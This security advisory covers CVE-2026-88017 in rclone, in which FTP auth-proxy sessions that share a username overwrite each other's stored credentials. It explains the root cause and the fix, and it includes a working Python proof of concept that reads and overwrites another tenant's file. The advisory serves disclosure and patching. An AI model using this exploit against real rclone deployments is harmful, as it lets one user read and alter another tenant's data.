high · 7.3CVE-2026-88017Sep 10, 2026

CVE-2026-88017: rclone FTP Auth-Proxy Cross-Session Credential Overwrite

Shubham Kandhare
Security Engagement Manager, SecureLayer7

When rclone serves FTP with an auth-proxy, a second login using the same username but a different password silently overwrites the stored credential for all active sessions, letting an…

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected>= 1.64.0, <= 1.75.0
Fixed in1.75.1
CVE-2026-88017: rclone FTP Auth-Proxy Cross-Session Credential Overwrite

The problem

The FTP serve driver in cmd/serve/ftp/ftp.go keeps a single driver-global map, userPass map[string]string, keyed only by username. After a successful CheckPasswd, the obscured password is written to d.userPass[user].

Every subsequent filesystem operation calls getVFS using only Sess.LoginUser() to look up the stored password. If a second connection authenticates as the same username with a different credential, it overwrites the map entry. The first session's commands then run under the second session's backend with no re-authentication required.

Proof of concept

A working proof-of-concept for CVE-2026-88017 in github.com/rclone/rclone, with the exact payload below.

bash
# Two tenants share the FTP username "shared" but have separate proxy-issued roots.
# Run the FTP server:
./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010

# Proxy maps password-as-token to a local root:
# attacker-token -> /tmp/rclone-ftp-attacker
# victim-token   -> /tmp/rclone-ftp-victim

# Trigger the overwrite via two simultaneous FTP sessions:
python3 - <<'PY'
import ftplib, io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")   # Session A: backend = attacker root

# Confirm attacker cannot see victim file yet.
try:
    attacker.size("victim.txt")
    raise AssertionError("should not be visible")
except ftplib.error_perm:
    pass

victim = connect("victim-token")       # Session B: overwrites userPass["shared"]
assert victim.size("victim.txt") > 0

# Session A is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print("read:", stolen.decode().strip())

# Overwrite victim's file through the attacker session.
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY

The root cause is CWE-488: storing session credential state in a driver-global map keyed by username rather than by session identity. The mutex around d.userPass prevents a Go data race but provides no session isolation.

The patch (commit c6af0b57) removes userPass, userPassMu, and the global map entirely. It stores the obscured credential in sctx.Sess.Data on a successful CheckPasswd, and getVFS reads only that session-local value. Because Sess.Data is scoped to the lifetime of one FTP connection, a second login can never affect an unrelated session.

The fix

Upgrade to rclone v1.75.1. The fix is commit c6af0b57c2b4af848bc968c2b407354476184b99, which replaces the global userPass map[string]string with per-session storage via sctx.Sess.Data. No config changes are required; the fix is transparent to existing --auth-proxy deployments.

Reported by Nick Craig-Wood.

References: [1][2][3][4][5]

Related research